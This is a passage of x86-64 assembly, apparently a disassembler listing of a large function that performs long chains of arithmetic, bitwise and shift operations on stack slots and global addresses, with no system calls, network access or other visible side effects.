mov rax, qword [rax]
mov rcx, qword [rsp + 0x6870]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2e5c]
mov dword [rsp + 0x2ed8], eax
mov rax, qword [rsp + 0x6858]
mov rcx, qword [rsp + 0x4c00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69d8], rax
lea rax, [rsp + 0xe2]
mov qword [rsp + 0x6cf8], rax
lea rax, [rsp + 0xb38]
mov qword [0x1401145c0], rax
movzx eax, word [0x140113040]
mov rcx, qword [rsp + 0x5c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9c0], ax
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov byte [rsp + 0x127], al
lea rax, [rsp + 0x11d]
mov qword [rsp + 0x6d00], rax
mov rax, qword [rsp + 0x52f8]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6470]
mov rax, qword [rax]
mov qword [rsp + 0x6d08], rax
mov rax, qword [rsp + 0x5120]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b88]
mov qword [rsp + 0x6d10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5358]
mov dword [rcx], eax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x6d18], rax
movzx eax, word [rsp + 0x92c]
mov rcx, qword [rsp + 0x65e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb90], ax
movsx eax, byte [rsp + 0x96]
mov rcx, qword [0x140114320]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140114260]
mov byte [rcx], al
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
sar eax, cl
mov rcx, qword [rsp + 0x6b40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6188]
movzx eax, word [rax]
mov word [rsp + 0xc38], ax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [0x140114220]
and eax, ecx
mov word [rsp + 0x880], ax
mov rax, qword [rsp + 0x5760]
mov rax, qword [rax]
mov qword [rsp + 0x6d20], rax
mov rax, qword [rsp + 0x6550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov dword [rcx], eax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2c7c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5138]
mov qword [rsp + 0x6d28], rax
mov rax, qword [rsp + 0x5608]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e58]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbc4], ax
mov rax, qword [rsp + 0x68a8]
movzx eax, word [rax]
mov word [0x1401145c8], ax
lea rax, [rsp + 0xbe4]
mov qword [rsp + 0x6d30], rax
mov rax, qword [rsp + 0x6808]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xba]
add eax, ecx
mov byte [rsp + 0xf1], al
movsx eax, byte [rsp + 0xf9]
movsx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [rsp + 0x88], al
lea rax, [0x140113008]
mov qword [rsp + 0x6d38], rax
mov eax, dword [rsp + 0x2b78]
mov ecx, dword [rsp + 0x2b1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c0c], eax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x6d40], rax
mov rax, qword [rsp + 0x5930]
mov rcx, qword [rsp + 0x5e68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6348], rax
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x57b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x99], al
movsx eax, byte [rsp + 0x88]
movsx ecx, byte [rsp + 0x11f]
or eax, ecx
mov byte [0x14011302b], al
mov rax, qword [rsp + 0x54a0]
movzx eax, word [rax]
mov word [rsp + 0xc3c], ax
mov rax, qword [rsp + 0x4f98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa38]
xor eax, ecx
mov word [rsp + 0xa9c], ax
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x12b], al
movzx eax, word [0x14011304c]
mov rcx, qword [rsp + 0x5058]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9d0], ax
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x5a60]
mov qword [rsp + 0x67e8], rax
mov rax, qword [rsp + 0x4fb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5b38]
mov qword [rsp + 0x6d48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6d48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2bcc], eax
mov rax, qword [rsp + 0x60c0]
mov rax, qword [rax]
mov qword [rsp + 0x6d50], rax
movsx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x50c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113066], al
movzx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0x5b00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d], al
movzx eax, word [rsp + 0xb2c]
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x6cf8]
movzx eax, byte [rax]
mov rcx, qword [0x1401141c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x6318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa0], al
mov eax, dword [rsp + 0x2e60]
mov dword [rsp + 0x2ee0], eax
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [rsp + 0x5730]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x60a8], rax
mov rax, qword [rsp + 0x5fe0]
mov qword [rsp + 0x6d58], rax
mov rax, qword [rsp + 0x6968]
mov rcx, qword [rsp + 0x60e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2d40], eax
lea rax, [rsp + 0x8f8]
mov qword [0x1401145d0], rax
mov rax, qword [0x140114388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
add eax, ecx
mov rcx, qword [rsp + 0x5a00]
mov word [rcx], ax
lea rax, [rsp + 0x98c]
mov qword [rsp + 0x6d60], rax
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x104]
sub eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x910]
mov qword [rsp + 0x6d68], rax
mov rax, qword [rsp + 0x6410]
mov ecx, dword [rsp + 0x2b54]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6410]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6550]
mov ecx, dword [rsp + 0x2d98]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
lea rax, [rsp + 0x69d8]
mov qword [rsp + 0x6d70], rax
mov rax, qword [rsp + 0x6ce0]
mov rcx, qword [rsp + 0x5d78]
mov qword [rsp + 0x6d78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6d78]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x65c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xb6]
movzx ecx, byte [0x140114156]
or eax, ecx
mov byte [0x140114213], al
lea rax, [rsp + 0x74]
mov qword [rsp + 0x6d80], rax
mov rax, qword [rsp + 0x5408]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5ad8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x68d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x12c], al
movzx eax, word [0x140113040]
movzx ecx, word [rsp + 0xba4]
xor eax, ecx
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x5570]
mov rcx, qword [rsp + 0x5500]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2df0], eax
mov rax, qword [rsp + 0x6248]
mov rax, qword [rax]
mov qword [rsp + 0x6d88], rax
mov rax, qword [rsp + 0x5b40]
mov rcx, qword [rsp + 0x5310]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ce0], rax
mov rax, qword [rsp + 0x6b88]
mov eax, dword [rax]
mov dword [rsp + 0x2ee4], eax
mov rax, qword [rsp + 0x5e40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov rcx, qword [0x140114378]
mov byte [rcx], al
movzx eax, word [rsp + 0xbec]
mov rcx, qword [rsp + 0x6058]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa64], ax
movsx eax, byte [rsp + 0x117]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb9], al
movzx eax, word [rsp + 0xa24]
mov word [rsp + 0xc44], ax
mov rax, qword [rsp + 0x5318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0x4e], al
lea rax, [rsp + 0x2ca0]
mov qword [rsp + 0x6d90], rax
mov rax, qword [rsp + 0x6168]
mov rcx, qword [rsp + 0x6560]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5138], rax
mov rax, qword [rsp + 0x4fe8]
mov ecx, dword [rsp + 0x2df8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2dd8], eax
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
mov qword [rsp + 0x6d98], rax
lea rax, [rsp + 0x9ac]
mov qword [0x1401145d8], rax
mov rax, qword [rsp + 0x6c20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x63c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5890]
mov byte [rcx], al
lea rax, [rsp + 0x49]
mov qword [rsp + 0x6da0], rax
movzx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x6880]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8a0], ax
lea rax, [rsp + 0xa6]
mov qword [rsp + 0x6da8], rax
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2de0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5cb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b10]
mov rcx, qword [rsp + 0x6830]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5fa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58b0]
mov qword [rsp + 0x6db0], rax
mov rax, qword [rsp + 0x6498]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x50e8]
mov qword [rsp + 0x6db8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6db8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6d18]
mov dword [rcx], eax
lea rax, [rsp + 0xaec]
mov qword [0x1401145e0], rax
movzx eax, byte [0x140113053]
mov byte [rsp + 0x12d], al
mov rax, qword [rsp + 0x5398]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd0]
sar eax, cl
mov rcx, qword [rsp + 0x6878]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9f0]
and eax, ecx
mov rcx, qword [rsp + 0x65c0]
mov word [rcx], ax
lea rax, [rsp + 0x904]
mov qword [rsp + 0x6dc0], rax
mov rax, qword [rsp + 0x5d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5000]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
lea rax, [rsp + 0x2e0c]
mov qword [rsp + 0x6dc8], rax
mov rax, qword [rsp + 0x65b0]
mov rcx, qword [rsp + 0x5390]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x54a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5988], rax
movzx eax, word [rsp + 0xa3c]
mov rcx, qword [0x140114548]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140114308], ax
movzx eax, word [rsp + 0x9c4]
mov word [rsp + 0xc48], ax
movsx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0x54d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb5], al
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x6dd0], rax
movsx eax, word [0x140113044]
mov rcx, qword [rsp + 0x5b50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5940]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c10]
mov rcx, qword [rsp + 0x69c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6220]
mov rax, qword [rax]
mov qword [rsp + 0x6dd8], rax
mov rax, qword [rsp + 0x6210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2eac], eax
mov rax, qword [rsp + 0x5718]
mov rax, qword [rax]
mov qword [rsp + 0x6de0], rax
mov rax, qword [rsp + 0x56a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x108]
or eax, ecx
mov rcx, qword [rsp + 0x5f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e70]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401144b0]
mov word [rcx], ax
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x6de8], rax
mov rax, qword [rsp + 0x65f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x6518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x63b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xea], al
lea rax, [rsp + 0x5710]
mov qword [rsp + 0x6df0], rax
mov rax, qword [rsp + 0x5a08]
mov rcx, qword [rsp + 0x6250]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d60]
mov dword [rsp + 0x2ee8], eax
mov rax, qword [rsp + 0x5820]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [0x140114580]
sub eax, ecx
mov rcx, qword [rsp + 0x6058]
mov word [rcx], ax
lea rax, [rsp + 0x960]
mov qword [0x1401145e8], rax
mov rax, qword [rsp + 0x5868]
movzx eax, byte [rax]
mov byte [rsp + 0x12e], al
mov rax, qword [rsp + 0x5a00]
movzx eax, word [rax]
movzx ecx, word [0x140113020]
sub eax, ecx
mov word [rsp + 0xc2c], ax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x12f], al
mov rax, qword [rsp + 0x5d08]
mov rcx, qword [rsp + 0x6828]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d80], eax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x64f8]
mov rax, qword [rax]
mov qword [rsp + 0x6df8], rax
mov rax, qword [rsp + 0x5bd0]
mov rcx, qword [rsp + 0x5728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2de4], eax
movzx eax, word [rsp + 0x9c4]
mov word [rsp + 0xc4c], ax
mov rax, qword [0x140114170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x61e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113038], ax
movzx eax, byte [rsp + 0xd3]
movzx ecx, byte [rsp + 0x3c]
add eax, ecx
mov byte [rsp + 0xe9], al
lea rax, [rsp + 0x9d4]
mov qword [rsp + 0x6e00], rax
mov rax, qword [rsp + 0x52d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
and eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x65d0]
mov rcx, qword [rsp + 0x58c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2e30], eax
mov rax, qword [0x140114160]
mov qword [rsp + 0x6e08], rax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x5830]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5328]
mov qword [rcx], rax
lea rax, [rsp + 0x2ee4]
mov qword [rsp + 0x6e10], rax
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [0x140114224]
shl eax, cl
mov byte [rsp + 0x49], al
mov rax, qword [rsp + 0x5e30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8e]
sar eax, cl
mov byte [0x140113067], al
mov rax, qword [rsp + 0x65a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f8]
sub eax, ecx
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x63f0]
movzx eax, word [rax]
mov word [rsp + 0xc50], ax
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6270]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ba8]
movzx eax, byte [rax]
mov byte [rsp + 0x130], al
mov rax, qword [rsp + 0x5ff0]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5c68], rax
mov rax, qword [rsp + 0x5678]
mov rcx, qword [rsp + 0x5710]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5c58], rax
mov rax, qword [rsp + 0x6a18]
mov eax, dword [rax]
mov dword [rsp + 0x2eec], eax
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x6818]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e80], eax
mov rax, qword [rsp + 0x5f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb14]
add eax, ecx
mov rcx, qword [0x1401144f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x6a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov word [rsp + 0xa3c], ax
mov rax, qword [rsp + 0x5fc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd4]
sub eax, ecx
mov byte [rsp + 0xc3], al
movzx eax, word [rsp + 0xb10]
mov word [rsp + 0xc54], ax
mov rax, qword [rsp + 0x6998]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x64c8], rax
lea rax, [rsp + 0x2d24]
mov qword [rsp + 0x6e18], rax
mov rax, qword [rsp + 0x5db0]
mov rcx, qword [rsp + 0x5380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d58], rax
lea rax, [0x140114150]
mov qword [rsp + 0x6e20], rax
mov rax, qword [rsp + 0x6588]
movzx eax, byte [rax]
mov byte [0x140114226], al
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9f4]
add eax, ecx
mov word [rsp + 0xa0c], ax
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0x8d8]
sar eax, cl
mov word [rsp + 0x968], ax
movzx eax, byte [rsp + 0xef]
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x69e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8c4]
shl eax, cl
mov word [rsp + 0xbdc], ax
mov rax, qword [rsp + 0x64d8]
mov rax, qword [rax]
mov qword [rsp + 0x6e28], rax
mov rax, qword [rsp + 0x6208]
mov rcx, qword [rsp + 0x65b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x5b60]
mov rcx, qword [rsp + 0x5520]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d50]
mov rax, qword [rax]
mov qword [rsp + 0x6e30], rax
movzx eax, byte [rsp + 0x112]
mov rcx, qword [rsp + 0x5cb0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140114408]
mov byte [rcx], al
movsx eax, byte [rsp + 0xb9]
movsx ecx, byte [rsp + 0xf7]
sub eax, ecx
mov byte [rsp + 0xc5], al
lea rax, str.n_a54
mov qword [rsp + 0x6e38], rax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5890]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6360]
mov byte [rcx], al
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x55e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5758]
mov word [rcx], ax
mov rax, qword [rsp + 0x5378]
mov eax, dword [rax]
mov dword [rsp + 0x2ef0], eax
mov rax, qword [rsp + 0x6b10]
mov rcx, qword [rsp + 0x5278]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6528]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5550]
mov eax, dword [rax]
mov dword [rsp + 0x2ef4], eax
mov rax, qword [rsp + 0x5f88]
mov rcx, qword [rsp + 0x5ad0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b08]
mov qword [rcx], rax
lea rax, [rsp + 0x91c]
mov qword [0x1401145f0], rax
movsx eax, word [rsp + 0x978]
mov rcx, qword [rsp + 0x6b70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6370]
mov word [rcx], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0x6e40], rax
movzx eax, byte [rsp + 0x9d]
mov rcx, qword [rsp + 0x6d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0x5bb8]
movzx eax, word [rax]
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6af8]
mov qword [rcx], rax
lea rax, [rsp + 0x2cd0]
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0x5de8]
mov ecx, dword [rsp + 0x2df0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2d24], eax
mov rax, qword [rsp + 0x54d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x66d8]
shl rax, cl
mov qword [rsp + 0x58b0], rax
mov rax, qword [rsp + 0x62a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14011302e], al
movzx eax, byte [rsp + 0x106]
mov byte [rsp + 0x133], al
movsx eax, byte [rsp + 0xf2]
movsx ecx, byte [rsp + 0x11b]
sar eax, cl
mov rcx, qword [rsp + 0x5f78]
mov byte [rcx], al
lea rax, [rsp + 0x7a]
mov qword [rsp + 0x6e50], rax
movsx eax, word [rsp + 0xba8]
movsx ecx, word [rsp + 0x9e4]
and eax, ecx
mov rcx, qword [rsp + 0x5f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x52e8]
mov rcx, qword [rsp + 0x60c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x53c8]
mov qword [rcx], rax
lea rax, [rsp + 0x2db8]
mov qword [rsp + 0x6e58], rax
mov rax, qword [rsp + 0x5a08]
mov rcx, qword [rsp + 0x5c68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5248]
mov eax, dword [rax]
mov dword [rsp + 0x2ef8], eax
mov rax, qword [rsp + 0x6048]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x54a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401130e0], ax
mov rax, qword [rsp + 0x5598]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xae8], ax
movzx eax, word [rsp + 0x9dc]
movzx ecx, word [rsp + 0x974]
and eax, ecx
mov rcx, qword [rsp + 0x5a18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x128]
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x6078]
movsx eax, byte [rax]
movsx ecx, byte [0x140114215]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d38]
mov rax, qword [rax]
mov qword [rsp + 0x6e60], rax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c58], eax
lea rax, [rsp + 0x5910]
mov qword [rsp + 0x6e68], rax
mov rax, qword [rsp + 0x57b8]
mov ecx, dword [rsp + 0x2d34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5c40]
mov dword [rcx], eax
lea rax, [rsp + 0x8c8]
mov qword [0x1401145f8], rax
mov rax, qword [rsp + 0x6cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
sub eax, ecx
mov rcx, qword [rsp + 0x5578]
mov byte [rcx], al
lea rax, [0x140113014]
mov qword [rsp + 0x6e70], rax
movzx eax, word [rsp + 0x8e4]
mov rcx, qword [rsp + 0x5c00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x85c], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0x6e78], rax
mov rax, qword [rsp + 0x56e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5a08]
shl rax, cl
mov rcx, qword [rsp + 0x6220]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6860]
mov rcx, qword [rsp + 0x5f88]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ed4]
mov dword [rsp + 0x2efc], eax
mov rax, qword [rsp + 0x6ca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cc4], eax
lea rax, [rsp + 0x97]
mov qword [rsp + 0x6e80], rax
movzx eax, word [rsp + 0xa28]
movzx ecx, word [rsp + 0x97c]
and eax, ecx
mov word [0x140114230], ax
movsx eax, word [0x1401130ac]
movsx ecx, word [rsp + 0xad4]
add eax, ecx
mov word [rsp + 0xae8], ax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov byte [rsp + 0xa4], al
movzx eax, word [rsp + 0x920]
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x6230]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5928], rax
mov eax, dword [rsp + 0x2ed0]
mov dword [rsp + 0x2f00], eax
mov rax, qword [rsp + 0x6e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5310], rax
mov rax, qword [rsp + 0x5280]
mov rcx, qword [rsp + 0x5b68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5bc8]
mov dword [rcx], eax
lea rax, [rsp + 0xf7]
mov qword [rsp + 0x6e88], rax
mov rax, qword [rsp + 0x63e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa68]
and eax, ecx
mov word [0x1401130e4], ax
mov rax, qword [rsp + 0x66e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0x90], al
lea rax, [rsp + 0x850]
mov qword [rsp + 0x6e90], rax
movzx eax, word [rsp + 0xb90]
movzx ecx, word [0x14011307c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
lea rax, [rsp + 0x53b8]
mov qword [rsp + 0x6e98], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x5938]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x54b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50e0]
